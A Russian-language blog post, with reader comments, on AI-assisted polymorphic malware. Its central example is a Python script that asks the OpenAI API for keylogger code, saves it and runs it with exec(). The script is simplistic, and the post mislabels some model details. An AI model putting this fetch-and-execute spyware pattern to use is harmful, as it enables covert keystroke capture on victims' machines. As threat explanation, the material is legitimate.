В стремительно меняющемся мире кибербезопасности злоумышленники постоянно ищут новые способы внедрения в компьютерные системы, их дестабилизации и эксплуатации уязвимостей. Один из самых коварных их инструментов — полиморфное вредоносное ПО, угроза-оборотень, затрудняющая использование традиционных защитных механизмов и представляющая огромную опасность для организаций и пользователей. В этом посте я расскажу о том, как атакующие могут применять искусственный интеллект для усиления полиморфизма зловредов. Источником вдохновения для этой статьи стала отличная работа Building BlackMamba, проделанная hyas.com.

Полиморфизм


Полиморфное вредоносное ПО — это сложный класс зловредов, видоизменяющих свой код с сохранением базовой функциональности. Для этого используются различные техники обфускации, меняющие код с каждой итерацией, что сильно усложняет обнаружение и анализ даже при помощи самых совершенных систем безопасности.

Термин «полиморфизм» происходит от греческих слов «poly», означающего «много» и «morphe», означающего «форма». Почти как хамелеон, меняющий свой цвет, чтобы сливаться с окружающей средой, полиморфное ПО адаптирует свою структуру, характеристики и даже цифровую сигнатуру, чтобы избежать обнаружения. Благодаря своей динамической природе оно способно обходить традиционные антивирусные решения, системы обнаружения вторжений и другие меры безопасности, полагающиеся на статические сигнатуры или паттерны.

Основная задача полиморфного вредоносного ПО заключается в том, чтобы его не обнаружили на этапе первоначального заражения, а затем оно должно постоянно избегать последующих мер защиты. Меняя свой код и поведение, оно способно эффективно обманывать системы безопасности, продляя время своего нахождения в атакуемой системе и создавая фундамент для выполнения таких действий, как кража данных, удалённое управление или совершение дальнейших атак.

Для изменения своей формы полиморфные зловреды используют множество различных техник, в том числе шифрование, обфускацию кода, самомодификацию и рандомизацию. Шифрование обычно используется для сокрытия базовой полезной нагрузки, что усложняет анализ или выявление вредоносного кода системами безопасности. Техники обфускации кода, например, изменение порядка команд или вставка бессмысленных команд, ещё больше усложняют процесс анализа, создавая многочисленные версии вредоносного ПО с одинаковыми результатами работы.

Генеративный искусственный интеллект и написание кода


Традиционно кодинг был уделом исключительно живых программистов, которые кропотливо писали строки кода, заставляющие ПО работать. Однако с появлением генеративного ИИ процесс написания кода существенно эволюционировал. При помощи глубокого обучения и нейронных сетей модели ИИ теперь могут анализировать обширные объёмы готового кода и генерировать новый функциональный код, имеющий ту же логику и структуру, что и написанный людьми.

Один из фундаментальных принципов, лежащих в основе способности генеративного ИИ писать код, — это возможность понимать паттерны, логику и синтаксис готовых кодовых баз. Обучаясь на огромных репозиториях опенсорсного кода, модели ИИ могут научиться распознавать структуру и стиль, характеризующий написанный людьми код, и имитировать его. Это поразительное достижение стало возможным благодаря способности нейронных сетей понимать суть языков программирования и обобщать их до множества правил и паттернов.

Давайте рассмотрим простой пример, демонстрирующий мощь генеративного ИИ в написании кода. Представьте, что мы хотим сгенерировать функцию Python, вычисляющую факториал заданного числа. Живой программист написал бы такую функцию:

def factorial(n):
    if n == 0:
        return 1
    else:
        return n * factorial(n-1)

А теперь давайте посмотрим, как генеративный ИИ сможет сгенерировать функцию со схожей функциональностью:

def factorial(n):
    result = 1
    while n > 0:
        result *= n
        n -= 1
    return result

В этом примере модель ИИ успешно поняла концепцию функции факториала и её итеративной реализации. Хотя сгенерированный код может слегка отличаться от написанного человеком, его суть, логика и поведение остаются неизменными.

Полиморфный код, генерируемый ИИ


Сочетание полиморфизма и способностей ИИ к генерации кода обеспечивают возможность создания крайне труднообнаруживаемого вредоносного ПО. Чтобы лучше понять концепцию, взгляните на следующий фрагмент кода (взятый из этих исходников). Представьте вредоносное ПО, динамически обращающееся к авторитетным сайтам, предоставляющим услуги генеративного ИИ, например, openai.com или google.com, и запрашивающее создание определенных функций в хорошо структурированном коде.


В результате вредоносное ПО может импортировать сгенерированный код при помощи reflection или динамической загрузки. Такая методика гарантирует, что автоматически сгенерированный вредоносный код не находится внутри самого инфицированного объекта, что делает его практически необнаруживаемым для традиционных систем защиты. Благодаря применению этой техники зловредное ПО достигает такого уровня незаметности, который позволяет избежать обнаружения — это представляет существенную проблему для систем безопасности.

Вот более явный пример:

import openai
import keyboard

# Ввод учётных данных OpenAI API
openai.api_key = 'YOUR_API_KEY'

# Функция для генерации кода кейлоггера при помощи OpenAI API
def generate_keylogger_code():
    prompt = "import keyboard\n\nkeyboard.on_press(lambda event: print(event.name))\nkeyboard.wait()"

    response = openai.Completion.create(
        engine='davinci-codex',
        prompt=prompt,
        max_tokens=100,
        n=1,
        stop=None,
        temperature=0.7
    )

    return response.choices[0].text.strip()

# Генерация кода кейлоггера при помощи OpenAI API
keylogger_code = generate_keylogger_code()

# Сохранение кода в файл
with open('keylogger.py', 'w') as file:
    file.write(keylogger_code)

# Запуск кейлоггера
exec(keylogger_code)

В данном случае атакующий использует для генерации кода кейлоггера возможности модели OpenAI GPT-3.5 и движка davinci-codex. Кейлоггер — это программа, фиксирующая нажатия клавиш на компьютере; это может быть полезно для различных целей, например, для мониторинга или отладки. Рассмотрим код шаг за шагом и разберемся, как работает каждый компонент.

Ввод учётных данных OpenAI API: прежде чем разбирать код, подготовьте свои учётные данные OpenAI API. Вам понадобится ключ API для аутентификации запросов к OpenAI API. Замените шаблон 'YOUR_API_KEY' в коде на свой ключ API.

Генерация кода кейлоггера: ядро вредоноса находится в функции generate_keylogger_code(). Она использует OpenAI API для генерации кода кейлоггера на основе переданного промта. В данном случае промтом является простой фрагмент кода, использующий библиотеку keyboard для перехвата нажатий клавиш и вывода их в консоль. Функция передаёт этот промт OpenAI API и получает сгенерированный код кейлоггера.

Чтобы использовать OpenAI API мы создаём объект Completion, вызвав openai.Completion.create(). В качестве engine мы указываем языковую модель «davinci-codex», которую хотим использовать. Параметр prompt содержит фрагмент кода для генерации кода кейлоггера. Прочие параметры наподобие max_tokens и temperature управляют длиной и случайностью сгенерированного ответа.

Сохранение кода кейлоггера: получив код, мы сохраняем его в файл 'keylogger.py' при помощи оператора with и метода write(). Этот шаг позволяет в дальнейшем использовать и менять сгенерированный код.

Запуск кейлоггера: последний этап заключается в запуске сгенерированного кода кейлоггера при помощи функции exec(). Она запускает код внутри текущей среды Python, активируя функциональность шпионской программы. При запуске будьте осторожны и убедитесь, что это законно и этично.

Вывод


Использование кода, сгенерированного ИИ, позволяет нападающим повысить продуктивность и сократить время создания быстрого и более сложного кода, избегающего обнаружения. Эта новая возможность представляет собой существенную угрозу в сфере кибербезопасности. Защищающаяся сторона должна постоянно быть впереди, непрерывно улучшая свои стратегии защиты и используя современные техники устранения эволюционирующих угроз со стороны созданного при помощи ИИ вредоносного кода. Бдительность, проактивные меры защиты, постоянные исследования и разработки — это обязательное требование для защиты критически важных систем и данных.

Комментарии (11)


  1. riky
    18.07.2023 10:19

    Насколько бесконечно количество вариантов генерируемого кода. мне кажется довольно быстро начнутся повторы и они так же будут добавлены в исключения антивирусов.
    По такой логике можно было оффлайн сгенерировать много функций и через какой нибудь веб-сервис зловред бы их скачивал, хоть с pastebin, хоть с гугл диск.
    Вряд ли злоумышленник захочет оставлять свой апи ключ в зловреде. даже если это найденный где то, ведь его все равно надо будет пополнять время от времени.
    К тому же программисты и так через пакетные менеджеры скачивают кучу непонятного кода и не беспокоятся о его безопасности.
    Пока что основная опасность как раз оффлайн использование. когда злоумышленник заранее делает новый код через чат, потом сам коспилирует его (не на питоне же зловред писать).


    1. riky
      18.07.2023 10:19
      +1

      Если помечтать дальше, то можно придумать как антивирусы будут работать через ИИ, перед запуском спрашивая ИИ: что делает этот код, не опасный ли это кусок кода?
      Понятно что для каждого пользователя это делать дорого, каждый файл надо распознавать один раз и хранить результаты проверки на сервере.

      Многие последствия появления ИИ компенсируются им же. Например "можно генерировать тонны нового контента" -> "люди читают статьи и книги через ИИ сокращалки текста, извлекающие основной смысл".
      Можно будет просто пообщаться в чате с интересующей книгой или статьей. Вроде бы контента будет больше, а в итоге люди читать будут еще меньше. Только самое главное, причем у каждого будет свой ИИ помощник который знает все о "своем хозяине" и может ответить конкретно для него "что я еще не знаю из этой статьи".


      1. Fantomer
        18.07.2023 10:19

        Подозреваю, что количество сгенерированного текста будет явно больше пользователей ИИ-сокращалок. Всё таки нейронки бесплатными будут немного и/или недолго. В итоге большая масса пользователей будут читать сгенерированный разбавленный водой текст. И то же самое с вирусами. Не у многих будет такой антивир с ИИ. По крайней мере до тех пор, пока не появится возможность крутить достаточно мощный ИИ прям у себя на компе.


        1. riky
          18.07.2023 10:19

          обе проблемы решаются кешированием. вот эту статью достаточно один раз сократить и раздавать всем кому надо сокращенный враиант. кеширование на сервисе. сейчас даже видео так обрабатывают (краткий пересказ видео).

          то же самое с исполняемыми файлами. антивирусу достаточно посчитать хэш от файла и отправить его на сервер, 99% что у кого то уже был такой файл.


  1. Darkhon
    18.07.2023 10:19
    +1

    В конце концов, антивирусы давно уже используют всякий эвристический/поведенческий анализ, а не ограничиваются простыми базами сигнатур.


  1. maxlilt
    18.07.2023 10:19

    Как насчет декомпиляции и деобфускации с использованием ИИ?


    1. SantrY Автор
      18.07.2023 10:19

      Я знаю несколько успешных попыток такого использования, в целом это возможно. Правда, полноценных исследований и сравнений с традиционными методами пока не видел.


  1. rinaty
    18.07.2023 10:19
    -1

    Зачем здесь лишнний шаг генерация кода?

    С таким же успехом зловредная программа может обращаться на любой сервер в интенете и скачивать любой нужные ей код, уже готовый без какой-либо генерации.


    1. Vinni37
      18.07.2023 10:19

      Такой же ворос возник при прочтении, да еще и нет гарантии работоспособности сгенерированного кода.


    1. SantrY Автор
      18.07.2023 10:19

      А кто его напишет? Идеальный полиморфный зловред должен менять свой код при каждом заражении, а может быть и несколько раз в процессе работы на конкретной машине. Потому вирусописатели и присматриваются к языковым моделям.


      1. rinaty
        18.07.2023 10:19

        А это другой вопрос, в статье он вообще не поднимался. Где гарантии того что генеративная сеть будет выдавать достаточно разные варианты кода на один и тот же запрос? Это требует отдельного исследования.